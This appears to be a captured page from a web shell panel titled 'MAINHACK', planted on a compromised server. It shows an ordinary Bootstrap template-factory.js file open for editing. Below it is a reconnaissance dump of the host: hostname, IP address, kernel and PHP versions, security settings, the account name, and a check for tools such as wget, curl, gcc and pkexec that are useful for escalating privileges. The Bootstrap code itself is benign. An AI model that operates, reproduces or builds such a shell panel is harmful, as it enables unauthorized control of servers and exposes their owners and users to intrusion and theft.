[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: template-factory.js
/** * -------------------------------------------------------------------------- * Bootstrap (v5.2.2): util/template-factory.js * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) * -------------------------------------------------------------------------- */ import { DefaultAllowlist, sanitizeHtml } from './sanitizer' import { getElement, isElement } from '../util/index' import SelectorEngine from '../dom/selector-engine' import Config from './config' /** * Constants */ const NAME = 'TemplateFactory' const Default = { allowList: DefaultAllowlist, content: {}, // { selector : text , selector2 : text2 , } extraClass: '', html: false, sanitize: true, sanitizeFn: null, template: '<div></div>' } const DefaultType = { allowList: 'object', content: 'object', extraClass: '(string|function)', html: 'boolean', sanitize: 'boolean', sanitizeFn: '(null|function)', template: 'string' } const DefaultContentType = { entry: '(string|element|function|null)', selector: '(string|element)' } /** * Class definition */ class TemplateFactory extends Config { constructor(config) { super() this._config = this._getConfig(config) } // Getters static get Default() { return Default } static get DefaultType() { return DefaultType } static get NAME() { return NAME } // Public getContent() { return Object.values(this._config.content) .map(config => this._resolvePossibleFunction(config)) .filter(Boolean) } hasContent() { return this.getContent().length > 0 } changeContent(content) { this._checkContent(content) this._config.content = { ...this._config.content, ...content } return this } toHtml() { const templateWrapper = document.createElement('div') templateWrapper.innerHTML = this._maybeSanitize(this._config.template) for (const [selector, text] of Object.entries(this._config.content)) { this._setContent(templateWrapper, text, selector) } const template = templateWrapper.children[0] const extraClass = this._resolvePossibleFunction(this._config.extraClass) if (extraClass) { template.classList.add(...extraClass.split(' ')) } return template } // Private _typeCheckConfig(config) { super._typeCheckConfig(config) this._checkContent(config.content) } _checkContent(arg) { for (const [selector, content] of Object.entries(arg)) { super._typeCheckConfig({ selector, entry: content }, DefaultContentType) } } _setContent(template, content, selector) { const templateElement = SelectorEngine.findOne(selector, template) if (!templateElement) { return } content = this._resolvePossibleFunction(content) if (!content) { templateElement.remove() return } if (isElement(content)) { this._putElementInTemplate(getElement(content), templateElement) return } if (this._config.html) { templateElement.innerHTML = this._maybeSanitize(content) return } templateElement.textContent = content } _maybeSanitize(arg) { return this._config.sanitize ? sanitizeHtml(arg, this._config.allowList, this._config.sanitizeFn) : arg } _resolvePossibleFunction(arg) { return typeof arg === 'function' ? arg(this) : arg } _putElementInTemplate(element, templateElement) { if (this._config.html) { templateElement.innerHTML = '' templateElement.append(element) return } templateElement.textContent = element.textContent } } export default TemplateFactory
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002